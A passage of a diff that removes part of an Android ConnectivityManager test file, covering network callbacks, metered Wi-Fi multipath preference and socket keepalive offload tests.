-            connection.disconnect();
-        }
-    }
-
-    private void assertOnNetwork(String adressString, Network network) throws UnknownHostException {
-        InetAddress address = InetAddress.getByName(adressString);
-        LinkProperties linkProperties = mCm.getLinkProperties(network);
-        // To make sure that the request went out on the right network, check that
-        // the IP address seen by the server is assigned to the expected network.
-        // We can only do this for IPv6 addresses, because in IPv4 we will likely
-        // have a private IPv4 address, and that won't match what the server sees.
-        if (address instanceof Inet6Address) {
-            assertContains(linkProperties.getAddresses(), address);
-        }
-    }
-
-    private static<T> void assertContains(Collection<T> collection, T element) {
-        assertTrue(element + " not found in " + collection, collection.contains(element));
-    }
-
-    private void assertStartUsingNetworkFeatureUnsupported(int networkType, String feature) {
-        try {
-            mCm.startUsingNetworkFeature(networkType, feature);
-            fail("startUsingNetworkFeature is no longer supported in the current API version");
-        } catch (UnsupportedOperationException expected) {}
-    }
-
-    private void assertStopUsingNetworkFeatureUnsupported(int networkType, String feature) {
-        try {
-            mCm.startUsingNetworkFeature(networkType, feature);
-            fail("stopUsingNetworkFeature is no longer supported in the current API version");
-        } catch (UnsupportedOperationException expected) {}
-    }
-
-    private void assertRequestRouteToHostUnsupported(int networkType, int hostAddress) {
-        try {
-            mCm.requestRouteToHost(networkType, hostAddress);
-            fail("requestRouteToHost is no longer supported in the current API version");
-        } catch (UnsupportedOperationException expected) {}
-    }
-
-    @Test
-    public void testStartUsingNetworkFeature() {
-
-        final String invalidateFeature = "invalidateFeature";
-        final String mmsFeature = "enableMMS";
-
-        assertStartUsingNetworkFeatureUnsupported(TYPE_MOBILE, invalidateFeature);
-        assertStopUsingNetworkFeatureUnsupported(TYPE_MOBILE, invalidateFeature);
-        assertStartUsingNetworkFeatureUnsupported(TYPE_WIFI, mmsFeature);
-    }
-
-    private boolean shouldEthernetBeSupported() {
-        // Instant mode apps aren't allowed to query the Ethernet service due to selinux policies.
-        // When in instant mode, don't fail if the Ethernet service is available. Instead, rely on
-        // the fact that Ethernet should be supported if the device has a hardware Ethernet port, or
-        // if the device can be a USB host and thus can use USB Ethernet adapters.
-        //
-        // Note that this test this will still fail in instant mode if a device supports Ethernet
-        // via other hardware means. We are not currently aware of any such device.
-        return (mContext.getSystemService(Context.ETHERNET_SERVICE) != null) ||
-            mPackageManager.hasSystemFeature(FEATURE_ETHERNET) ||
-            mPackageManager.hasSystemFeature(FEATURE_USB_HOST);
-    }
-
-    private boolean shouldBeSupported(int networkType) {
-        return mNetworks.containsKey(networkType) ||
-               (networkType == ConnectivityManager.TYPE_VPN) ||
-               (networkType == ConnectivityManager.TYPE_ETHERNET && shouldEthernetBeSupported());
-    }
-
-    @Test
-    public void testIsNetworkSupported() {
-        for (int type = -1; type <= ConnectivityManager.MAX_NETWORK_TYPE; type++) {
-            boolean supported = mCm.isNetworkSupported(type);
-            if (shouldBeSupported(type)) {
-                assertTrue("Network type " + type + " should be supported", supported);
-            } else {
-                assertFalse("Network type " + type + " should not be supported", supported);
-            }
-        }
-    }
-
-    @Test
-    public void testRequestRouteToHost() {
-        for (int type = -1 ; type <= ConnectivityManager.MAX_NETWORK_TYPE; type++) {
-            assertRequestRouteToHostUnsupported(type, HOST_ADDRESS);
-        }
-    }
-
-    @Test
-    public void testTest() {
-        mCm.getBackgroundDataSetting();
-    }
-
-    private NetworkRequest makeWifiNetworkRequest() {
-        return new NetworkRequest.Builder()
-                .addTransportType(NetworkCapabilities.TRANSPORT_WIFI)
-                .build();
-    }
-
-    private NetworkRequest makeCellNetworkRequest() {
-        return new NetworkRequest.Builder()
-                .addTransportType(NetworkCapabilities.TRANSPORT_CELLULAR)
-                .build();
-    }
-
-    /**
-     * Exercises both registerNetworkCallback and unregisterNetworkCallback. This checks to
-     * see if we get a callback for the TRANSPORT_WIFI transport type being available.
-     *
-     * <p>In order to test that a NetworkCallback occurs, we need some change in the network
-     * state (either a transport or capability is now available). The most straightforward is
-     * WiFi. We could add a version that uses the telephony data connection but it's not clear
-     * that it would increase test coverage by much (how many devices have 3G radio but not Wifi?).
-     */
-    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
-    @Test
-    public void testRegisterNetworkCallback() {
-        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
-            Log.i(TAG, "testRegisterNetworkCallback cannot execute unless device supports WiFi");
-            return;
-        }
-
-        // We will register for a WIFI network being available or lost.
-        final TestNetworkCallback callback = new TestNetworkCallback();
-        mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
-
-        final TestNetworkCallback defaultTrackingCallback = new TestNetworkCallback();
-        mCm.registerDefaultNetworkCallback(defaultTrackingCallback);
-
-        Network wifiNetwork = null;
-
-        try {
-            ensureWifiConnected();
-
-            // Now we should expect to get a network callback about availability of the wifi
-            // network even if it was already connected as a state-based action when the callback
-            // is registered.
-            wifiNetwork = callback.waitForAvailable();
-            assertNotNull("Did not receive NetworkCallback.onAvailable for TRANSPORT_WIFI",
-                    wifiNetwork);
-
-            assertNotNull("Did not receive NetworkCallback.onAvailable for any default network",
-                    defaultTrackingCallback.waitForAvailable());
-        } catch (InterruptedException e) {
-            fail("Broadcast receiver or NetworkCallback wait was interrupted.");
-        } finally {
-            mCm.unregisterNetworkCallback(callback);
-            mCm.unregisterNetworkCallback(defaultTrackingCallback);
-        }
-    }
-
-    /**
-     * Tests both registerNetworkCallback and unregisterNetworkCallback similarly to
-     * {@link #testRegisterNetworkCallback} except that a {@code PendingIntent} is used instead
-     * of a {@code NetworkCallback}.
-     */
-    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
-    @Test
-    public void testRegisterNetworkCallback_withPendingIntent() {
-        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
-            Log.i(TAG, "testRegisterNetworkCallback cannot execute unless device supports WiFi");
-            return;
-        }
-
-        // Create a ConnectivityActionReceiver that has an IntentFilter for our locally defined
-        // action, NETWORK_CALLBACK_ACTION.
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(NETWORK_CALLBACK_ACTION);
-
-        ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
-                mCm, ConnectivityManager.TYPE_WIFI, NetworkInfo.State.CONNECTED);
-        mContext.registerReceiver(receiver, filter);
-
-        // Create a broadcast PendingIntent for NETWORK_CALLBACK_ACTION.
-        Intent intent = new Intent(NETWORK_CALLBACK_ACTION);
-        PendingIntent pendingIntent = PendingIntent.getBroadcast(
-                mContext, 0, intent, PendingIntent.FLAG_CANCEL_CURRENT);
-
-        // We will register for a WIFI network being available or lost.
-        mCm.registerNetworkCallback(makeWifiNetworkRequest(), pendingIntent);
-
-        try {
-            ensureWifiConnected();
-
-            // Now we expect to get the Intent delivered notifying of the availability of the wifi
-            // network even if it was already connected as a state-based action when the callback
-            // is registered.
-            assertTrue("Did not receive expected Intent " + intent + " for TRANSPORT_WIFI",
-                    receiver.waitForState());
-        } catch (InterruptedException e) {
-            fail("Broadcast receiver or NetworkCallback wait was interrupted.");
-        } finally {
-            mCm.unregisterNetworkCallback(pendingIntent);
-            pendingIntent.cancel();
-            mContext.unregisterReceiver(receiver);
-        }
-    }
-
-    /**
-     * Exercises the requestNetwork with NetworkCallback API. This checks to
-     * see if we get a callback for an INTERNET request.
-     */
-    @AppModeFull(reason = "CHANGE_NETWORK_STATE permission can't be granted to instant apps")
-    @Test
-    public void testRequestNetworkCallback() {
-        final TestNetworkCallback callback = new TestNetworkCallback();
-        mCm.requestNetwork(new NetworkRequest.Builder()
-                .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
-                .build(), callback);
-
-        try {
-            // Wait to get callback for availability of internet
-            Network internetNetwork = callback.waitForAvailable();
-            assertNotNull("Did not receive NetworkCallback#onAvailable for INTERNET",
-                    internetNetwork);
-        } catch (InterruptedException e) {
-            fail("NetworkCallback wait was interrupted.");
-        } finally {
-            mCm.unregisterNetworkCallback(callback);
-        }
-    }
-
-    /**
-     * Exercises the requestNetwork with NetworkCallback API with timeout - expected to
-     * fail. Use WIFI and switch Wi-Fi off.
-     */
-    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
-    @Test
-    public void testRequestNetworkCallback_onUnavailable() {
-        final boolean previousWifiEnabledState = mWifiManager.isWifiEnabled();
-        if (previousWifiEnabledState) {
-            mCtsNetUtils.ensureWifiDisconnected(null);
-        }
-
-        final TestNetworkCallback callback = new TestNetworkCallback();
-        mCm.requestNetwork(new NetworkRequest.Builder()
-                .addTransportType(TRANSPORT_WIFI)
-                .build(), callback, 100);
-
-        try {
-            // Wait to get callback for unavailability of requested network
-            assertTrue("Did not receive NetworkCallback#onUnavailable",
-                    callback.waitForUnavailable());
-        } catch (InterruptedException e) {
-            fail("NetworkCallback wait was interrupted.");
-        } finally {
-            mCm.unregisterNetworkCallback(callback);
-            if (previousWifiEnabledState) {
-                mCtsNetUtils.connectToWifi();
-            }
-        }
-    }
-
-    private InetAddress getFirstV4Address(Network network) {
-        LinkProperties linkProperties = mCm.getLinkProperties(network);
-        for (InetAddress address : linkProperties.getAddresses()) {
-            if (address instanceof Inet4Address) {
-                return address;
-            }
-        }
-        return null;
-    }
-
-    /** Verify restricted networks cannot be requested. */
-    @AppModeFull(reason = "CHANGE_NETWORK_STATE permission can't be granted to instant apps")
-    @Test
-    public void testRestrictedNetworks() {
-        // Verify we can request unrestricted networks:
-        NetworkRequest request = new NetworkRequest.Builder()
-                .addCapability(NET_CAPABILITY_INTERNET).build();
-        NetworkCallback callback = new NetworkCallback();
-        mCm.requestNetwork(request, callback);
-        mCm.unregisterNetworkCallback(callback);
-        // Verify we cannot request restricted networks:
-        request = new NetworkRequest.Builder().addCapability(NET_CAPABILITY_IMS).build();
-        callback = new NetworkCallback();
-        try {
-            mCm.requestNetwork(request, callback);
-            fail("No exception thrown when restricted network requested.");
-        } catch (SecurityException expected) {}
-    }
-
-    // Returns "true", "false" or "none"
-    private String getWifiMeteredStatus(String ssid) throws Exception {
-        // Interestingly giving the SSID as an argument to list wifi-networks
-        // only works iff the network in question has the "false" policy.
-        // Also unfortunately runShellCommand does not pass the command to the interpreter
-        // so it's not possible to | grep the ssid.
-        final String command = "cmd netpolicy list wifi-networks";
-        final String policyString = runShellCommand(mInstrumentation, command);
-
-        final Matcher m = Pattern.compile("^" + ssid + ";(true|false|none)$",
-                Pattern.MULTILINE | Pattern.UNIX_LINES).matcher(policyString);
-        if (!m.find()) {
-            fail("Unexpected format from cmd netpolicy");
-        }
-        return m.group(1);
-    }
-
-    // metered should be "true", "false" or "none"
-    private void setWifiMeteredStatus(String ssid, String metered) throws Exception {
-        final String setCommand = "cmd netpolicy set metered-network " + ssid + " " + metered;
-        runShellCommand(mInstrumentation, setCommand);
-        assertEquals(getWifiMeteredStatus(ssid), metered);
-    }
-
-    private String unquoteSSID(String ssid) {
-        // SSID is returned surrounded by quotes if it can be decoded as UTF-8.
-        // Otherwise it's guaranteed not to start with a quote.
-        if (ssid.charAt(0) == '"') {
-            return ssid.substring(1, ssid.length() - 1);
-        } else {
-            return ssid;
-        }
-    }
-
-    private void waitForActiveNetworkMetered(int targetTransportType, boolean requestedMeteredness)
-            throws Exception {
-        final CountDownLatch latch = new CountDownLatch(1);
-        final NetworkCallback networkCallback = new NetworkCallback() {
-            @Override
-            public void onCapabilitiesChanged(Network network, NetworkCapabilities nc) {
-                if (!nc.hasTransport(targetTransportType)) return;
-
-                final boolean metered = !nc.hasCapability(NET_CAPABILITY_NOT_METERED);
-                if (metered == requestedMeteredness) {
-                    latch.countDown();
-                }
-            }
-        };
-        // Registering a callback here guarantees onCapabilitiesChanged is called immediately
-        // with the current setting. Therefore, if the setting has already been changed,
-        // this method will return right away, and if not it will wait for the setting to change.
-        mCm.registerDefaultNetworkCallback(networkCallback);
-        if (!latch.await(NETWORK_CHANGE_METEREDNESS_TIMEOUT, TimeUnit.MILLISECONDS)) {
-            fail("Timed out waiting for active network metered status to change to "
-                 + requestedMeteredness + " ; network = " + mCm.getActiveNetwork());
-        }
-        mCm.unregisterNetworkCallback(networkCallback);
-    }
-
-    private void assertMultipathPreferenceIsEventually(Network network, int oldValue,
-            int expectedValue) {
-        // Quick check : if oldValue == expectedValue, there is no way to guarantee the test
-        // is not flaky.
-        assertNotSame(oldValue, expectedValue);
-
-        for (int i = 0; i < NUM_TRIES_MULTIPATH_PREF_CHECK; ++i) {
-            final int actualValue = mCm.getMultipathPreference(network);
-            if (actualValue == expectedValue) {
-                return;
-            }
-            if (actualValue != oldValue) {
-                fail("Multipath preference is neither previous (" + oldValue
-                        + ") nor expected (" + expectedValue + ")");
-            }
-            SystemClock.sleep(INTERVAL_MULTIPATH_PREF_CHECK_MS);
-        }
-        fail("Timed out waiting for multipath preference to change. expected = "
-                + expectedValue + " ; actual = " + mCm.getMultipathPreference(network));
-    }
-
-    private int getCurrentMeteredMultipathPreference(ContentResolver resolver) {
-        final String rawMeteredPref = Settings.Global.getString(resolver,
-                NETWORK_METERED_MULTIPATH_PREFERENCE);
-        return TextUtils.isEmpty(rawMeteredPref)
-            ? getIntResourceForName(NETWORK_METERED_MULTIPATH_PREFERENCE_RES_NAME)
-            : Integer.parseInt(rawMeteredPref);
-    }
-
-    private int findNextPrefValue(ContentResolver resolver) {
-        // A bit of a nuclear hammer, but race conditions in CTS are bad. To be able to
-        // detect a correct setting value without race conditions, the next pref must
-        // be a valid value (range 0..3) that is different from the old setting of the
-        // metered preference and from the unmetered preference.
-        final int meteredPref = getCurrentMeteredMultipathPreference(resolver);
-        final int unmeteredPref = ConnectivityManager.MULTIPATH_PREFERENCE_UNMETERED;
-        if (0 != meteredPref && 0 != unmeteredPref) return 0;
-        if (1 != meteredPref && 1 != unmeteredPref) return 1;
-        return 2;
-    }
-
-    /**
-     * Verify that getMultipathPreference does return appropriate values
-     * for metered and unmetered networks.
-     */
-    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
-    @Test
-    public void testGetMultipathPreference() throws Exception {
-        final ContentResolver resolver = mContext.getContentResolver();
-        ensureWifiConnected();
-        final String ssid = unquoteSSID(mWifiManager.getConnectionInfo().getSSID());
-        final String oldMeteredSetting = getWifiMeteredStatus(ssid);
-        final String oldMeteredMultipathPreference = Settings.Global.getString(
-                resolver, NETWORK_METERED_MULTIPATH_PREFERENCE);
-        try {
-            final int initialMeteredPreference = getCurrentMeteredMultipathPreference(resolver);
-            int newMeteredPreference = findNextPrefValue(resolver);
-            Settings.Global.putString(resolver, NETWORK_METERED_MULTIPATH_PREFERENCE,
-                    Integer.toString(newMeteredPreference));
-            setWifiMeteredStatus(ssid, "true");
-            waitForActiveNetworkMetered(TRANSPORT_WIFI, true);
-            // Wifi meterness changes from unmetered to metered will disconnect and reconnect since
-            // R.
-            final Network network = ensureWifiConnected();
-            assertEquals(ssid, unquoteSSID(mWifiManager.getConnectionInfo().getSSID()));
-            assertEquals(mCm.getNetworkCapabilities(network).hasCapability(
-                    NET_CAPABILITY_NOT_METERED), false);
-            assertMultipathPreferenceIsEventually(network, initialMeteredPreference,
-                    newMeteredPreference);
-
-            final int oldMeteredPreference = newMeteredPreference;
-            newMeteredPreference = findNextPrefValue(resolver);
-            Settings.Global.putString(resolver, NETWORK_METERED_MULTIPATH_PREFERENCE,
-                    Integer.toString(newMeteredPreference));
-            assertEquals(mCm.getNetworkCapabilities(network).hasCapability(
-                    NET_CAPABILITY_NOT_METERED), false);
-            assertMultipathPreferenceIsEventually(network,
-                    oldMeteredPreference, newMeteredPreference);
-
-            setWifiMeteredStatus(ssid, "false");
-            // No disconnect from unmetered to metered.
-            waitForActiveNetworkMetered(TRANSPORT_WIFI, false);
-            assertEquals(mCm.getNetworkCapabilities(network).hasCapability(
-                    NET_CAPABILITY_NOT_METERED), true);
-            assertMultipathPreferenceIsEventually(network, newMeteredPreference,
-                    ConnectivityManager.MULTIPATH_PREFERENCE_UNMETERED);
-        } finally {
-            Settings.Global.putString(resolver, NETWORK_METERED_MULTIPATH_PREFERENCE,
-                    oldMeteredMultipathPreference);
-            setWifiMeteredStatus(ssid, oldMeteredSetting);
-        }
-    }
-
-    // TODO: move the following socket keep alive test to dedicated test class.
-    /**
-     * Callback used in tcp keepalive offload that allows caller to wait callback fires.
-     */
-    private static class TestSocketKeepaliveCallback extends SocketKeepalive.Callback {
-        public enum CallbackType { ON_STARTED, ON_STOPPED, ON_ERROR };
-
-        public static class CallbackValue {
-            public final CallbackType callbackType;
-            public final int error;
-
-            private CallbackValue(final CallbackType type, final int error) {
-                this.callbackType = type;
-                this.error = error;
-            }
-
-            public static class OnStartedCallback extends CallbackValue {
-                OnStartedCallback() { super(CallbackType.ON_STARTED, 0); }
-            }
-
-            public static class OnStoppedCallback extends CallbackValue {
-                OnStoppedCallback() { super(CallbackType.ON_STOPPED, 0); }
-            }
-
-            public static class OnErrorCallback extends CallbackValue {
-                OnErrorCallback(final int error) { super(CallbackType.ON_ERROR, error); }
-            }
-
-            @Override
-            public boolean equals(Object o) {
-                return o.getClass() == this.getClass()
-                        && this.callbackType == ((CallbackValue) o).callbackType
-                        && this.error == ((CallbackValue) o).error;
-            }
-
-            @Override
-            public String toString() {
-                return String.format("%s(%s, %d)", getClass().getSimpleName(), callbackType, error);
-            }
-        }
-
-        private final LinkedBlockingQueue<CallbackValue> mCallbacks = new LinkedBlockingQueue<>();
-
-        @Override
-        public void onStarted() {
-            mCallbacks.add(new CallbackValue.OnStartedCallback());
-        }
-
-        @Override
-        public void onStopped() {
-            mCallbacks.add(new CallbackValue.OnStoppedCallback());
-        }
-
-        @Override
-        public void onError(final int error) {
-            mCallbacks.add(new CallbackValue.OnErrorCallback(error));
-        }
-
-        public CallbackValue pollCallback() {
-            try {
-                return mCallbacks.poll(KEEPALIVE_CALLBACK_TIMEOUT_MS,
-                        TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                fail("Callback not seen after " + KEEPALIVE_CALLBACK_TIMEOUT_MS + " ms");
-            }
-            return null;
-        }
-        private void expectCallback(CallbackValue expectedCallback) {
-            final CallbackValue actualCallback = pollCallback();
-            assertEquals(expectedCallback, actualCallback);
-        }
-
-        public void expectStarted() {
-            expectCallback(new CallbackValue.OnStartedCallback());
-        }
-
-        public void expectStopped() {
-            expectCallback(new CallbackValue.OnStoppedCallback());
-        }
-
-        public void expectError(int error) {
-            expectCallback(new CallbackValue.OnErrorCallback(error));
-        }
-    }
-
-    private InetAddress getAddrByName(final String hostname, final int family) throws Exception {
-        final InetAddress[] allAddrs = InetAddress.getAllByName(hostname);
-        for (InetAddress addr : allAddrs) {
-            if (family == AF_INET && addr instanceof Inet4Address) return addr;
-
-            if (family == AF_INET6 && addr instanceof Inet6Address) return addr;
-
-            if (family == AF_UNSPEC) return addr;
-        }
-        return null;
-    }
-
-    private Socket getConnectedSocket(final Network network, final String host, final int port,
-            final int family) throws Exception {
-        final Socket s = network.getSocketFactory().createSocket();
-        try {
-            final InetAddress addr = getAddrByName(host, family);
-            if (addr == null) fail("Fail to get destination address for " + family);
-
-            final InetSocketAddress sockAddr = new InetSocketAddress(addr, port);
-            s.connect(sockAddr);
-        } catch (Exception e) {
-            s.close();
-            throw e;
-        }
-        return s;
-    }
-
-    private int getSupportedKeepalivesForNet(@NonNull Network network) throws Exception {
-        final NetworkCapabilities nc = mCm.getNetworkCapabilities(network);
-
-        // Get number of supported concurrent keepalives for testing network.
-        final int[] keepalivesPerTransport = KeepaliveUtils.getSupportedKeepalives(mContext);
-        return KeepaliveUtils.getSupportedKeepalivesForNetworkCapabilities(
-                keepalivesPerTransport, nc);
-    }
-
-    private static boolean isTcpKeepaliveSupportedByKernel() {
-        final String kVersionString = VintfRuntimeInfo.getKernelVersion();
-        return compareMajorMinorVersion(kVersionString, "4.8") >= 0;
-    }
-
-    private static Pair<Integer, Integer> getVersionFromString(String version) {
-        // Only gets major and minor number of the version string.
-        final Pattern versionPattern = Pattern.compile("^(\\d+)(\\.(\\d+))?.*");
-        final Matcher m = versionPattern.matcher(version);
-        if (m.matches()) {
-            final int major = Integer.parseInt(m.group(1));
-            final int minor = TextUtils.isEmpty(m.group(3)) ? 0 : Integer.parseInt(m.group(3));
-            return new Pair<>(major, minor);
-        } else {
-            return new Pair<>(0, 0);
-        }
-    }
-
-    // TODO: Move to util class.
-    private static int compareMajorMinorVersion(final String s1, final String s2) {
-        final Pair<Integer, Integer> v1 = getVersionFromString(s1);
-        final Pair<Integer, Integer> v2 = getVersionFromString(s2);
-
-        if (v1.first == v2.first) {
-            return Integer.compare(v1.second, v2.second);
-        } else {
-            return Integer.compare(v1.first, v2.first);
-        }
-    }
-
-    /**
-     * Verifies that version string compare logic returns expected result for various cases.
-     * Note that only major and minor number are compared.
-     */
-    @Test
-    public void testMajorMinorVersionCompare() {
-        assertEquals(0, compareMajorMinorVersion("4.8.1", "4.8"));
-        assertEquals(1, compareMajorMinorVersion("4.9", "4.8.1"));
-        assertEquals(1, compareMajorMinorVersion("5.0", "4.8"));
-        assertEquals(1, compareMajorMinorVersion("5", "4.8"));
-        assertEquals(0, compareMajorMinorVersion("5", "5.0"));
-        assertEquals(1, compareMajorMinorVersion("5-beta1", "4.8"));
-        assertEquals(0, compareMajorMinorVersion("4.8.0.0", "4.8"));
-        assertEquals(0, compareMajorMinorVersion("4.8-RC1", "4.8"));
-        assertEquals(0, compareMajorMinorVersion("4.8", "4.8"));
-        assertEquals(-1, compareMajorMinorVersion("3.10", "4.8.0"));
-        assertEquals(-1, compareMajorMinorVersion("4.7.10.10", "4.8"));
-    }
-
-    /**
-     * Verifies that the keepalive API cannot create any keepalive when the maximum number of
-     * keepalives is set to 0.
-     */
-    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
-    @Test
-    public void testKeepaliveWifiUnsupported() throws Exception {
-        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
-            Log.i(TAG, "testKeepaliveUnsupported cannot execute unless device"
-                    + " supports WiFi");
-            return;
-        }
-
-        final Network network = ensureWifiConnected();
-        if (getSupportedKeepalivesForNet(network) != 0) return;
-        final InetAddress srcAddr = getFirstV4Address(network);
-        assumeTrue("This test requires native IPv4", srcAddr != null);
-
-        runWithShellPermissionIdentity(() -> {
-            assertEquals(0, createConcurrentSocketKeepalives(network, srcAddr, 1, 0));
-            assertEquals(0, createConcurrentSocketKeepalives(network, srcAddr, 0, 1));
-        });
-    }
-
-    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
-    @Test
-    @SkipPresubmit(reason = "Keepalive is not supported on virtual hardware")
-    public void testCreateTcpKeepalive() throws Exception {
-        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
-            Log.i(TAG, "testCreateTcpKeepalive cannot execute unless device supports WiFi");
-            return;
-        }
-
-        final Network network = ensureWifiConnected();
-        if (getSupportedKeepalivesForNet(network) == 0) return;
-        final InetAddress srcAddr = getFirstV4Address(network);
-        assumeTrue("This test requires native IPv4", srcAddr != null);
-
-        // If kernel < 4.8 then it doesn't support TCP keepalive, but it might still support
-        // NAT-T keepalive. If keepalive limits from resource overlay is not zero, TCP keepalive
-        // needs to be supported except if the kernel doesn't support it.
-        if (!isTcpKeepaliveSupportedByKernel()) {
-            // Verify that the callback result is expected.
-            runWithShellPermissionIdentity(() -> {
-                assertEquals(0, createConcurrentSocketKeepalives(network, srcAddr, 0, 1));
-            });
-            Log.i(TAG, "testCreateTcpKeepalive is skipped for kernel "
-                    + VintfRuntimeInfo.getKernelVersion());
-            return;
-        }
-
-        final byte[] requestBytes = CtsNetUtils.HTTP_REQUEST.getBytes("UTF-8");
-        // So far only ipv4 tcp keepalive offload is supported.
-        // TODO: add test case for ipv6 tcp keepalive offload when it is supported.
-        try (Socket s = getConnectedSocket(network, TEST_HOST, HTTP_PORT, AF_INET)) {
-
-            // Should able to start keep alive offload when socket is idle.
-            final Executor executor = mContext.getMainExecutor();
-            final TestSocketKeepaliveCallback callback = new TestSocketKeepaliveCallback();
-
-            mUiAutomation.adoptShellPermissionIdentity();
-            try (SocketKeepalive sk = mCm.createSocketKeepalive(network, s, executor, callback)) {
-                sk.start(MIN_KEEPALIVE_INTERVAL);
-                callback.expectStarted();
-
-                // App should not able to write during keepalive offload.
-                final OutputStream out = s.getOutputStream();
-                try {
-                    out.write(requestBytes);
-                    fail("Should not able to write");
-                } catch (IOException e) { }
-                // App should not able to read during keepalive offload.
-                final InputStream in = s.getInputStream();
-                byte[] responseBytes = new byte[4096];
-                try {
-                    in.read(responseBytes);
-                    fail("Should not able to read");
-                } catch (IOException e) { }
-
-                // Stop.
-                sk.stop();
-                callback.expectStopped();
-            } finally {
-                mUiAutomation.dropShellPermissionIdentity();
-            }
-
-            // Ensure socket is still connected.
-            assertTrue(s.isConnected());
-            assertFalse(s.isClosed());
-
-            // Let socket be not idle.
-            try {
-                final OutputStream out = s.getOutputStream();
-                out.write(requestBytes);
-            } catch (IOException e) {
-                fail("Failed to write data " + e);
-            }
-            // Make sure response data arrives.
-            final MessageQueue fdHandlerQueue = Looper.getMainLooper().getQueue();
-            final FileDescriptor fd = s.getFileDescriptor$();
-            final CountDownLatch mOnReceiveLatch = new CountDownLatch(1);
-            fdHandlerQueue.addOnFileDescriptorEventListener(fd, EVENT_INPUT, (readyFd, events) -> {
-                mOnReceiveLatch.countDown();
-                return 0; // Unregister listener.
-            });
-            if (!mOnReceiveLatch.await(2, TimeUnit.SECONDS)) {
-                fdHandlerQueue.removeOnFileDescriptorEventListener(fd);
-                fail("Timeout: no response data");
-            }
-
-            // Should get ERROR_SOCKET_NOT_IDLE because there is still data in the receive queue
-            // that has not been read.
-            mUiAutomation.adoptShellPermissionIdentity();
-            try (SocketKeepalive sk = mCm.createSocketKeepalive(network, s, executor, callback)) {
-                sk.start(MIN_KEEPALIVE_INTERVAL);
-                callback.expectError(SocketKeepalive.ERROR_SOCKET_NOT_IDLE);
-            } finally {
-                mUiAutomation.dropShellPermissionIdentity();
-            }
-        }
-    }
-
-    private ArrayList<SocketKeepalive> createConcurrentKeepalivesOfType(
-            int requestCount, @NonNull TestSocketKeepaliveCallback callback,
-            Supplier<SocketKeepalive> kaFactory) {
-        final ArrayList<SocketKeepalive> kalist = new ArrayList<>();
-
-        int remainingRetries = MAX_KEEPALIVE_RETRY_COUNT;
-
-        // Test concurrent keepalives with the given supplier.
-        while (kalist.size() < requestCount) {
-            final SocketKeepalive ka = kaFactory.get();
-            ka.start(MIN_KEEPALIVE_INTERVAL);
-            TestSocketKeepaliveCallback.CallbackValue cv = callback.pollCallback();
-            assertNotNull(cv);
-            if (cv.callbackType == TestSocketKeepaliveCallback.CallbackType.ON_ERROR) {
-                if (kalist.size() == 0 && cv.error == SocketKeepalive.ERROR_UNSUPPORTED) {
-                    // Unsupported.
-                    break;
-                } else if (cv.error == SocketKeepalive.ERROR_INSUFFICIENT_RESOURCES) {
-                    // Limit reached or temporary unavailable due to stopped slot is not yet
-                    // released.
-                    if (remainingRetries > 0) {
-                        SystemClock.sleep(INTERVAL_KEEPALIVE_RETRY_MS);
-                        remainingRetries--;
-                        continue;
-                    }
-                    break;
-                }
-            }
-            if (cv.callbackType == TestSocketKeepaliveCallback.CallbackType.ON_STARTED) {
-                kalist.add(ka);
-            } else {
-                fail("Unexpected error when creating " + (kalist.size() + 1) + " "
-                        + ka.getClass().getSimpleName() + ": " + cv);
-            }
-        }
-
-        return kalist;
-    }
-
-    private @NonNull ArrayList<SocketKeepalive> createConcurrentNattSocketKeepalives(
-            @NonNull Network network, @NonNull InetAddress srcAddr, int requestCount,
-            @NonNull TestSocketKeepaliveCallback callback)  throws Exception {
-
-        final Executor executor = mContext.getMainExecutor();
-
-        // Initialize a real NaT-T socket.
-        final IpSecManager mIpSec = (IpSecManager) mContext.getSystemService(Context.IPSEC_SERVICE);
-        final UdpEncapsulationSocket nattSocket = mIpSec.openUdpEncapsulationSocket();
-        final InetAddress dstAddr = getAddrByName(TEST_HOST, AF_INET);
-        assertNotNull(srcAddr);
-        assertNotNull(dstAddr);
-
-        // Test concurrent Nat-T keepalives.
-        final ArrayList<SocketKeepalive> result = createConcurrentKeepalivesOfType(requestCount,
-                callback, () -> mCm.createSocketKeepalive(network, nattSocket,
-                        srcAddr, dstAddr, executor, callback));
-
-        nattSocket.close();
-        return result;
-    }
-
-    private @NonNull ArrayList<SocketKeepalive> createConcurrentTcpSocketKeepalives(
-            @NonNull Network network, int requestCount,
-            @NonNull TestSocketKeepaliveCallback callback) {
-        final Executor executor = mContext.getMainExecutor();
-
-        // Create concurrent TCP keepalives.
-        return createConcurrentKeepalivesOfType(requestCount, callback, () -> {
-            // Assert that TCP connections can be established. The file descriptor of tcp
-            // sockets will be duplicated and kept valid in service side if the keepalives are
-            // successfully started.
-            try (Socket tcpSocket = getConnectedSocket(network, TEST_HOST, HTTP_PORT,
-                    AF_INET)) {
-                return mCm.createSocketKeepalive(network, tcpSocket, executor, callback);
-            } catch (Exception e) {
-                fail("Unexpected error when creating TCP socket: " + e);
-            }
-            return null;
-        });
-    }
-
-    /**
-     * Creates concurrent keepalives until the specified counts of each type of keepalives are
-     * reached or the expected error callbacks are received for each type of keepalives.
-     *
-     * @return the total number of keepalives created.
-     */
-    private int createConcurrentSocketKeepalives(
-            @NonNull Network network, @NonNull InetAddress srcAddr, int nattCount, int tcpCount)
-            throws Exception {
-        final ArrayList<SocketKeepalive> kalist = new ArrayList<>();
-        final TestSocketKeepaliveCallback callback = new TestSocketKeepaliveCallback();
-
-        kalist.addAll(createConcurrentNattSocketKeepalives(network, srcAddr, nattCount, callback));
-        kalist.addAll(createConcurrentTcpSocketKeepalives(network, tcpCount, callback));
-
-        final int ret = kalist.size();
-
-        // Clean up.
-        for (final SocketKeepalive ka : kalist) {
-            ka.stop();
-            callback.expectStopped();
-        }
-        kalist.clear();
-
-        return ret;
-    }
-
-    /**
